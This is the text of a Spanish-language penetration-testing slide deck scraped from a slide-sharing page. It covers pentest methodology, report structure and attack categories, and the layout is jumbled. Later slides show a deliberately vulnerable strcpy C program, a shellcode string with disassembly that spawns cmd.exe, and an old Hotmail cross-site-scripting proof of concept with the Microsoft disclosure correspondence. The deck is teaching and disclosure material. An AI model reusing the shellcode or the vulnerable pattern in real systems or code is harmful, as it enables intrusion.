Pentest - El Arte de la Guerra

2,295 views
2,159 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,295
On SlideShare
0
From Embeds
0
Number of Embeds
897
Actions
Shares
0
Downloads
66
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Pentest - El Arte de la Guerra

  1. 1. 1. 20 Min: Que es un Pentest?2. 40 Min: Be a Lulzsec guy for a while!!!!3. 60 Min: Better than anonymous!!!.4. 20 Min: Preguntas y respuestas.
  2. 2. 1. RIESGOS DE LA SEGURIDAD CORPORATIVA2. PRUEBAS DE PENETRACION3. TIPOS DE PRUEBAS4. ESTRUCTURA DE UN PENTEST5. TECNICAS BASICAS DE HACKEO6. HACKING !!!!!7. CONCLUSIONES
  3. 3. PROBLEMAS• En la experiencia general el 98% de las empresas son muy vulnerables a ataques simples, el 2 % restante son vulnerables a ataques especializados.• El mismo numero 98% desconoce la forma de pensar y las técnicas usadas por los atacantes.• En la actualidad el hacking ha crecido mas como una actividad delictiva y enfocada a ciertos blancos.• El hacker tiene todo el tiempo que desee para buscar la forma de atacar y solo tiene que encontrar 1 error, el CSO tiene muchas responsabilidades y verificar cada paso y proceso tecnológico y solo tiene que cometer 1 error.RIESGOS• Reputación, perdida de confianza e imagen.• Perdida o modificación de datos.• Incumplimiento de regulaciones (SOX, CNBV, LFPDPPP, etc.)• Robo de identidad o datos sensibles (Datos Identificables, Crediticios, Patrimoniales, etc.)• Espionaje industrial.• Muchos Otros…
  4. 4. OBJETIVOS• En las prueba de penetración se actúa como atacante malicioso, tomándose el tiempo necesario de buscar todas las vulnerabilidades posibles, para preparar y evaluar la empresa para resistir ataques comunes y dirigidos.FINALIDAD• Lograr el acceso con el máximo privilegio posible a través de conocimientos técnicos avanzados con un equipo multidisciplinario (Tiger Teaming), a datos privados y sensibles, apoyando con soluciones para permitir minimizar el riesgo y determinar las posibilidades reales de un ataque.REQUERIMIENTOS PARA EL CONSULTOR• Conocimiento de redes.• Conocimiento de sistemas operativos.• Conocimiento de desarrollo.• Conocimiento de ingeniería en reversa.• Conocimiento de herramientas.• Conocimiento de °!#$#&&/&()&))==?((#234
  5. 5. GENERAL (EXTERNA O INTERNA) • WHITE BOX • Con el conocimiento de la infraestructura. • Tiene menos riesgos pues se sabe que sistemas atacar y por donde. • GREY BOX • Conocimiento parcial de la infraestructura. • Tienes riesgos bajos ya que abra que hacer intentos de prueba y error. • BLACK BOX • Sin conocimiento alguno de la infraestructura. • Implica un riesgo alto, ya que no solo alentar las comunicaciones por el trafico a generarse al hacer trabajo intenso de búsquedas, si no que también corre riesgos al poder detener la producción completa de una empresa con ataques no esperados.ESPECIALIZADA • Web Application Penetration Test. • Application Vulnerability Assessment. • Source Code Security Analysis. • Wi-Fi Penetration Testing • Social Engineering. • Physical Security. • Industrial Espionage. • Vulnerability Assessment.
  6. 6. Existen diversas metodologías de seguridad a seguir:• Open Source Security Testing Methodology Manual (OSSTMM)• Open Web Application Security Project (OWASP)• National Institute of Standards and Technology-SP800-115 (NIST)• Information Systems Security Assessment Framework (ISSAF)Que se hace en un Pentest? 1.- Objetivos 2.- Recopilación 3.- Enumeración •Establecer metas. •Google, DNS, Footprint. •Port Scanning, Vuln Scan •Establecer blancos. •Social Engineering. •Services & Applications •Detectar necesidades •Metadatos (Archivos) •Users & Groups 4.- Explotación 5.- Documentación 6.- Dark Side Hacker •System Hacking •Executive Summary •Root kits, Key loggers •Evidence •Technical Details •Evidence Cleaning •Physical Intrusion •Recommendations •Access Concession
  7. 7. Que debe contener un reporte de un Pen Test:• Introduction • Testing Team Details (Names, Contacts, Expertise) • Client Details (Details: network, servers, workstations, AD) • Scope of Testing • Purpose & Type (Assessment, New Implementation, Compliance, Security Pen Test) • Category (White box, Black Box, Grey Box)• Executive Summary (Brief)• Security Issues (With Critical level) • OS • Exploited & Unexploited • Application & Web • Exploited & Unexploited • Physical (Facilities) • Exploited & Unexploited • Personnel (Social Engineering) • Exploited & Unexploited • General • Exploited & Unexploited• Technical Summary • OS Security, Web Security, Database Security, Application Security, Business Security , Policies and Procedures• Risk & Recommendations
  8. 8. "You dont know the power of the dark side!" -Darth Vader
  9. 9. • DOS, DDOS  Man in The Middle• Buffer Overflows – ARP Poisoning – Stack Overflows – SMB Relay – Heap Overflows – HTTPS y SSH Relay – Smashing the Stack – Adjacent Memory  Wireless Hacking – Off by One  Parameter Tampering  Information Disclosure Race Conditions  Landscape Discovery Format Strings – Portscanning Double Frees – Banner Grabing Null Sessions – Service Discovery Spoofing Sniffing  Virus & Cracking Zapping – Worms Brute Forcing – Backdoors Web – Caballos de Troya – Sql Injections – Debugging – XXS Cross Scripting Site – Dissasembling – Session Hijacking – Unpacking – Cookie hijacking &poisoning – PHP/ASP File Inclusion – PHP/ASP Includes  Steganografia – PHP/ASP Null Byte  Alternate Data Streams (file systems) – PHP Global Vars  Email Hacking – Alternate Data Stream – Frame Relay – Google Hacking – Identity Thief
  10. 10. PHP/ASP  Inclusión de Archivos  Archivos de Backup (.BAK .INC ETC)  Inyección de código PHP  Errores de Configuración  Mala Técnica de Programación  SQL Injection  Cross Site Scripting
  11. 11. Break 5 minutosEncontraran algo????
  12. 12. • Definición – Insertar datos mas grandes que el máximo alocado en memoria, dando esto en el cambio de flujo del programa ya sea por corrupción del Extended Instruction Pointer (EIP) o funciones corruptas (Heap)• Porque Existen los BO – La forma en que la creación de sistemas operativos se enseña provee una optimización de lectura y escritura en la memoria, por lo cual es espacio se aloca de izquierda a derecha y se escribe en forma inversa. – Cada ves que un programa ejecuta una rutina el sistema operativo hace lo siguiente: • Guardar la dirección de la siguiente instrucción valida en EIP (4 Bytes, 0x77777777) • Guardar la dirección de las variables dentro de un puntero en EBP (4 Bytes, 0x77777777) • Alocar espacio para las variables de la función que se esta llamando (Depende del Buffer) • Una ves terminada la función, se llama al código que punta EIP (Valor guardado) • Y así sucesivamente……. – Por lo que si tomamos control de EIP, podemos decir que al terminar la función el programa ejecute como siguiente código lo que el hacker quiera.
  13. 13. #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%sn", buffer); }0xC0000005 0x45DF33AD 0x65D537AB NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
  14. 14.  Técnicas Básicas:  Jump Into the Stack (la mas común utilizada en Linux)  Consiste en saltar directamente al payload o shellcode.  Call Jump Stack (La mas común utilizada en Windows)  Consiste en saltar a una dirección estática de memoria que a su ves apunta a la direccion de nuestro payload o shellcode0xC0000005 0x41414141 0x41414141 “AAAAAAAAAAAAAAAAAAAAAAAAAA” Dirección de la escritura en la memoria. NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
  15. 15. System(cmd.exe)“x55x8BxECx33xFFx57x83xECx08xC6x45xF8x63xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45x F8Xbbx44x80xBFx77xFFxD3” System(cmd.exe) 0040B4EC |. 55 PUSH EBP # Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 08 SUB ESP,8 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 # ”C” 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D # ”M” 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 # ”D” 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E # ”.” 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 # ”E” 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 # ”X” 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 # ”E” 0040B511 |. 8D45 F8 LEA eax,DWORD PTR SS:[EBP-8] #”CMD.EXE” 0040B514 |. 50 PUSH eax 0040B515 |. BB 4480BF77 MOV EBX, 76FDAB6B # Direccion del system() msvcrt.dll VISTA ESPAÑOL 0040B51A |. FFD3 CALL EBX # EJECUTA SYSTEM CON CMD.EXE DE PARAMETRO
  16. 16. “Hack the planet”
  17. 17. Si no conoces hackers y no sabes como romper y atacar sistemas, comoesperas defenderte de ello?No es ser un genio, es solo el gusto de aprender.Ya no hay investigación ni desarrollo, se necesita mas gente interesadaLa mayoría de los avances tecnológicos han sido gracias a los hackers.Los consultores de seguridad están prostituidos, cuantos realmente sabenhacer exploits y son buenos técnicamente y cuantos, solo tienen el titulo o lacertificación por saber usar herramientas ya hechas. (ósea nada nuevo)SQL Injection = Lulzsec & anonymous
  18. 18. De: Microsoft Security Response Center Fallos XXS Hackeando Hotmail 26 de Abril 2005 [mailto:secure@microsoft.com]  Hotmail Cross Site Message Explore Enviado el: miércoles, 07 de septiembre de 2005 11:17 Para: Luis A. Cortes Zavala CC: Microsoft Security Response CenterProof of Concept Asunto: RE: failure notice [MSRC 5937sd]Hotmail Cross Site Message Explorer by NaPaSecurity Nation Labs – México Thanks for the fast reply Luis,-----------------------------------------------------------------<html> OK no problems I will provide you with an update<head></head> when the team turns on the "a" attribute at the end<body> of October.<script>str1=document.URL;str2=str1.split("?"); Its something we have difficulty with acknowledgingstr3=str2[1]; finders for our online services, as we dont issue astr4=str3.split("&"); security bulletin for them.str5="http://by17fd.bay17.hotmail.msn.com/cgibin/getmsg?msg=&start=&len=&mfs=&cmd=next&lastmsgid=";str6=str4[2]; I apologize for this, maybe once this is all over youstr7=str6.split("="); can present at any conference and discuss this issuestr8=str7[1];str9="&msgread=&etype=&wo="; and how we went from a bad situation to a greatstr10=str5+str8+str9+"&"+str4[0]+"&"+str4[1] outcome and you were the researcher the wholewindow.open(str10); way along who worked with Microsoft to secure its</script>hola napa online systems? I dont know I am just thinking</body> aloud...</html>--------------------------------------------------------------------- Cheers Scott D.

×